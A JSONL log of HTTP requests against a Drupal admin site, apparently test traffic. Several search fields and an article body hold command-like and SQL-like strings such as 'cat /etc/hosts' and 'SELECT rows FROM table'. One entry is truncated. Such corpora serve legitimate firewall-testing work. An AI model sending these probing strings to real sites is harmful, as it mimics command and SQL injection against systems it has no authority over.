{"method": "GET", "target": "/admin/people?user=docker-compose.yml&status=All&role=All&permission=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/files?filename=docker-compose.yml&filemime=&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/media?name=docker-compose.yml&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/block?info=docker-compose.yml&type=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/comment?subject=docker-compose.yml&author_name=", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content?title=cat%20%2Fetc%2Fhosts&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/people?user=cat%20%2Fetc%2Fhosts&status=All&role=All&permission=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/files?filename=cat%20%2Fetc%2Fhosts&filemime=&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/media?name=cat%20%2Fetc%2Fhosts&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/block?info=cat%20%2Fetc%2Fhosts&type=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/comment?subject=cat%20%2Fetc%2Fhosts&author_name=", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content?title=SELECT%20rows%20FROM%20table&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/people?user=SELECT%20rows%20FROM%20table&status=All&role=All&permission=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/files?filename=SELECT%20rows%20FROM%20table&filemime=&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/media?name=SELECT%20rows%20FROM%20table&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/block?info=SELECT%20rows%20FROM%20table&type=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content/comment?subject=SELECT%20rows%20FROM%20table&author_name=", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/add/article", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/add/page", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/1/revisions", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/python3-notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/1/edit?destination=/admin/content%3Ftitle%3Dpython3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/1/delete?destination=/admin/content", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/2", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/taxonomy/term/1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content?title=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/content?title=python3+tutorial&type=All&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/content", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/user/logout", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/user/logout/confirm", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/user/logout/confirm", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/logout/confirm", "Cookie: SESSexample=example-session-value"], "body": "confirm=1&form_build_id=form-wNgbewUygC9ULMoc4WLVpiOljzg8b-UFbevQU1lKKvE&form_token=PQZYrhskFDg3-YXEJlI1LMqcsi5g2Caq1winJy1aiTc&form_id=user_logout_confirm&op=Log+out"}
{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login"], "body": "name=admin&pass=example-password-1&form_build_id=form-PFgoUZSU-B2s6Yi6wsv6gMF8hyctFZ4jGpnB1KbbKuc&form_id=user_login_form&op=Log+in"}
{"method": "POST", "target": "/admin/modules", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/modules", "Cookie: SESSexample=example-session-value"], "body": "text=&form_build_id=form-Go6Ty-vaNH5prRcXZPri8UInSJEfkCpFomJ5z7FIJeA&form_token=dpSXO0ij0wI2RSPBdwAf24WP27sJX5XdMsyNckiHRYQ&form_id=system_modules&op=Install"}
{"method": "POST", "target": "/admin/config/services/jsonapi", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/config/services/jsonapi", "Cookie: SESSexample=example-session-value"], "body": "read_only=rw&form_build_id=form-kZj8LFAOUYdKbamTIGwQWGeUPyZ9Pl_o7NMqCuQgRNA&form_token=U9cEhbE1Jq8CgS_JsoF1uTGkum0lp1R9dR05PQpXVIk&form_id=jsonapi_settings&op=Save+configuration"}
{"method": "POST", "target": "/contextual/render?theme=claro", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/admin/content/comment", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=entity.view.edit_form%3Aview%3Dcomment%3Alocation%3Dpage%26name%3Dcomment%26display_id%3Dpage_published%26langcode%3Den&tokens%5B%5D=tJYB9Yp9K7KoqCw51MrweOw1EWlIhkKnWWiqWfZwOBk"}
{"method": "POST", "target": "/admin/structure/menu/parents", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Referer: http://example.com/admin/structure/types/manage/article", "Cookie: SESSexample=example-session-value"], "body": "menus%5B%5D=main"}
{"method": "POST", "target": "/admin/structure/views/view/content/preview/page_1?_wrapper_format=drupal_ajax", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Referer: http://example.com/admin/structure/views/view/content", "Cookie: SESSexample=example-session-value"], "body": "live_preview=1&view_args=&form_build_id=form-YRTiLLJme3R_EAzYjDmEPFge7ba8Rqcr0e4ufPocUHA&form_token=aoWE2rnl7MeEF8CixG6jr69agDcL4EYtVBLeif_2MmI&form_id=view_preview_form&_triggering_element_name=op&_triggering_element_value=Update+preview&_drupal_ajax=1&ajax_page_state%5Btheme%5D=claro&ajax_page_state%5Btheme_token%5D=9R7R5tkIUlJUOLq74Y2Ibs3Vzk97sOkPnSer_Xb74Kk&ajax_page_state%5Blibraries%5D=eJxVjlEKgzAQBS9kkiOVF13CtuuuJBurPX1LbRH_hmF4vMzltvBCKf9gGAXVUhHLkNB8F9YyjKZOm3dImmpfIPE04VM82ieplEabF1NSb1GxcoGzaQhuJhk15O5ueqS_HYzOK303Ln5iiJWIO7aLbw6ndlGOLDRVlMOq1RnCLxrOC-nEKNit-7AyPdutc_pDxDSzvgGedGns"}
{"method": "POST", "target": "/ckeditor5/upload-image/basic_html?token=Sus-IXsV0UwqrRe2_CrWc-iHgk_6pDumClZIZ6i-Wu0", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Accept: application/json", "0: text/javascript", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAcXJMZbPBLzalDiX", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": "------WebKitFormBoundaryAcXJMZbPBLzalDiX\r\nContent-Disposition: form-data; name=\"upload\"; filename=\"photo.png\"\r\nContent-Type: image/png\r\n\r\n‰PNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0006\u0000\u0000\u0000\u001f\u0015ĉ\u0000\u0000\u0000\rIDATxÚcd`ø_\u000f\u0000\u0002‡\u0001€ëGº’\u0000\u0000\u0000\u0000IEND®B`‚\r\n------WebKitFormBoundaryAcXJMZbPBLzalDiX--\r\n"}
{"method": "POST", "target": "/node/add/article?element_parents=field_image/widget/0&ajax_form=1&_wrapper_format=drupal_ajax", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0Ba7aU6AsCP0MAhK", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": "------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"changed\"\r\n\r\n1794214637\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"title[0][value]\"\r\n\r\nPython3 and PowerShell notes\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"form_build_id\"\r\n\r\nform-LT5Y5U-7qf8iSfEX4mtEU7w-26XnFEmjxTB6AGmAKpw\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"form_token\"\r\n\r\nHAq_JMl1Tn3xeTNd4PzFsSkcbDhCFjHl2uV2RZpF2H8\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"form_id\"\r\n\r\nnode_article_form\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"files[field_image_0]\"; filename=\"python3-diagram.png\"\r\nContent-Type: image/png\r\n\r\n‰PNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0006\u0000\u0000\u0000\u001f\u0015ĉ\u0000\u0000\u0000\rIDATxÚcd`ø_\u000f\u0000\u0002‡\u0001€ëGº’\u0000\u0000\u0000\u0000IEND®B`‚\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"field_image[0][fids]\"\r\n\r\n\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"body[0][summary]\"\r\n\r\n\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"body[0][value]\"\r\n\r\n<p>Run ls -la in python3 and cat /etc/hosts on the box. See docker-compose.yml.</p><p>Second paragraph of ordinary words, with a list.<img data-entity-uuid=\"6e465287-5af3-436f-92e8-199fce782a2e\" data-entity-type=\"file\" src=\"/sites/default/files/inline-images/photo.png\" width=\"1\" height=\"1\"></p>\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"body[0][format]\"\r\n\r\nbasic_html\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"field_tags[target_id]\"\r\n\r\n\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"revision_log[0][value]\"\r\n\r\n\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"menu[title]\"\r\n\r\n\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"menu[description]\"\r\n\r\n\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"menu[menu_parent]\"\r\n\r\nmain:\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"menu[weight]\"\r\n\r\n0\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"comment[0][status]\"\r\n\r\n2\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"path[0][alias]\"\r\n\r\n\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"uid[0][target_id]\"\r\n\r\nadmin (1)\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"created[0][value][date]\"\r\n\r\n2026-11-09\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"created[0][value][time]\"\r\n\r\n08:57:17\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"promote[value]\"\r\n\r\n1\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"status[value]\"\r\n\r\n1\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"_triggering_element_name\"\r\n\r\nfield_image_0_upload_button\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"_triggering_element_value\"\r\n\r\nUpload\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"_drupal_ajax\"\r\n\r\n1\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"ajax_page_state[theme]\"\r\n\r\nclaro\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"ajax_page_state[theme_token]\"\r\n\r\n9R7R5tkIUlJUOLq74Y2Ibs3Vzk97sOkPnSer_Xb74Kk\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"ajax_page_state[libraries]\"\r\n\r\neJyNU0luwzAM_JBln_qBAsmpQJ8Q0Aptq6FERaLSJq-vVG9ZevDJ5HA4JEdwa_qDNx6bdgoqfcKjEQ5vjXGCwQHVx5B8_iyVLZxa8xHfifVpExutHyCauIk8iKWd643btG1tLPTbmAItZSZB4KbjYJV8s9JMybo4wT1xC6SiXMm4vtJsLTppZqkxzXCe8SMJaK3MLine truncated
{"method": "GET", "target": "/sites/default/files/styles/thumbnail/public/2026-11/python3-diagram.png.avif?itok=Oi6kqsz7", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/N5jux6RugFa9-QOKzy0aUSVM4RQohzzwpEObdpBNOxc?q=docker-compose.yml", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/javascript, */*; q=0.01", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
